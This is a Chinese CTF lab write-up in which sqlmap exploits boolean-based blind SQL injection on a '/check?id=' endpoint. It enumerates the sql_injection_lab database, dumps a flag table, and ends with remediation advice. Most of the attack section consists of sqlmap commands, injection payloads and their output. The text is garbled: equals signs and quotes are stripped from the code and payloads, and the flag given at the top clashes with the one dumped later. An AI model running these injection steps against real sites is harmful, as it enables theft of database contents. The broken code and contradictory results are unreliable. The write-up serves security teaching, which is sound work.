【好靶场】SQL 注入-布尔盲注使用 sqlmap 读取 Flag【好靶场】SQL 注入-布尔盲注一、题目分析二、确认接口和参数三、使用 SQLMap 检测注入四、枚举数据库五、枚举数据表六、枚举 flag 表字段七、导出 Flag八、漏洞原理九、修复建议1. 使用参数化查询2. 对 id 做类型校验3. 数据库账户使用最小权限4. 统一异常处理并记录异常请求十、总结【好靶场】SQL 注入-布尔盲注声明本文仅用于官方授权的隔离靶场和 CTF 安全学习。文中所有请求只针对题目给出的靶场地址不涉及任何第三方网站或未授权系统。靶场接口http://hbc2.haobachang.com:33581/check最终 Flagflag{819b89cc02}一、题目分析本题的目标接口为GET /check?id1其中id是用户可控参数。接口不会直接返回 SQL 查询结果而是根据查询结果返回真假状态。因此本题属于布尔盲注SQL 条件成立 → 接口返回真 SQL 条件不成立 → 接口返回假虽然页面看不到数据库中的 Flag但可以通过大量请求逐步判断Flag 第 1 位是不是 f Flag 第 1 位是不是 l Flag 第 1 位是不是 a ...当某个条件返回真时就能确定对应字符然后继续读取下一位。二、确认接口和参数先访问正常请求http://hbc2.haobachang.com:33581/check?id1重点观察接口响应。对于布尔盲注通常需要找到类似以下的真假差异{exists:true}和{exists:false}接着测试恒真和恒假条件/check?id1 and (11) /check?id1 and (12)如果两次响应不同就说明输入已经影响了后端 SQL 语句的逻辑判断存在布尔盲注可能。三、使用 SQLMap 检测注入Kali 中执行sqlmap-uhttp://hbc2.haobachang.com:33581//check?id1\-pid\--techniqueB\--batch\--flush-session参数说明-u 指定目标 URL -p id 只测试 id 参数 --techniqueB 只使用 Boolean-based blind 技术 --batch 自动选择默认选项 --flush-session 清除旧的检测缓存SQLMap 检测到Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause识别出的后端数据库为MySQL 5.x / MariaDB forkSQLMap 使用的有效 Payload 结构类似1) AND 53595359 AND (77047704这里的1)说明原始 SQL 条件外层存在一个右括号输入需要先将其闭合然后再拼接新的布尔条件。实际 Payload 的完整形式由 SQLMap 根据响应自动调整。四、枚举数据库确认注入成功后使用以下命令枚举数据库sqlmap-uhttp://hbc2.haobachang.com:33581/check?id1\-pid\--techniqueB\--dbs\--batch发现的数据库如下information_schema mydb mysql performance_schema sql_injection_lab sys其中最符合题目名称、并且包含业务数据的是sql_injection_lab五、枚举数据表指定数据库查看其中的数据表sqlmap-uhttp://hbc2.haobachang.com:33581/check?id1\-pid\--techniqueB\-Dsql_injection_lab\--tables\--batch\--threads3结果flag users其中flag表很可能就是本题的目标表。六、枚举 flag 表字段继续查看flag表的字段sqlmap-uhttp://hbc2.haobachang.com:33581/check?id1\-pid\--techniqueB\-Dsql_injection_lab\-Tflag\--columns\--batch\--threads3结果id int(11) flag text目标字段确定为flag七、导出 Flag指定数据库、数据表和字段使用--dump读取数据sqlmap-uhttp://hbc2.haobachang.com:33581/check?id1\-pid\--techniqueB\-Dsql_injection_lab\-Tflag\-Cflag\--dump\--batch\--threads3SQLMap 成功读取到 1 条记录Database: sql_injection_lab Table: flag Column: flag flag{d47ea83286}因此本题最终 Flag 为flag{d47ea83286}八、漏洞原理后端代码如果采用字符串拼接可能类似于user_idrequest.args.get(id,)sqlSELECT 1 FROM users WHERE (id user_id)当用户输入普通数字时SQL 语句看起来正常SELECT1FROMusersWHERE(id1)但攻击者可以传入额外的逻辑表达式1) AND 11拼接后可能变成SELECT1FROMusersWHERE(id1)AND11)通过调整括号和后续内容就可能让用户输入参与 SQL 语句解析从而控制查询条件。本题没有直接返回数据库内容而是只返回是否存在因此需要使用布尔盲注逐步提取数据。九、修复建议1. 使用参数化查询不要直接拼接用户输入sqlSELECT 1 FROM users WHERE (id user_id)应该使用参数化查询cursor.execute(SELECT 1 FROM users WHERE id %s LIMIT 1,(user_id,))这样用户输入会被当作数据处理而不会被当作 SQL 代码解析。2. 对 id 做类型校验id按业务逻辑应该是整数可以先进行类型转换try:user_idint(request.args.get(id,))exceptValueError:return{error:invalid id},400类型校验可以作为辅助防护但不能替代参数化查询。3. 数据库账户使用最小权限应用数据库账户不应拥有不必要的权限例如不需要的数据库不要授权 不需要写入时不要授予写权限 不需要管理权限时不要使用 root4. 统一异常处理并记录异常请求生产环境不应将 SQL 错误、数据库版本和表结构直接返回给用户。同时可以对大量重复、异常参数请求进行限速和日志告警。十、总结本题完整解题流程如下访问 /check?id1 ↓ 测试恒真和恒假条件 ↓ 确认 id 参数存在布尔盲注 ↓ SQLMap 识别 MySQL / MariaDB ↓ 枚举数据库 sql_injection_lab ↓ 发现 flag、users 两张表 ↓ 发现 flag 表中的 flag 字段 ↓ 使用 --dump 导出数据 ↓ 得到 Flagflag{d47ea83286}最终结果flag{d47ea83286}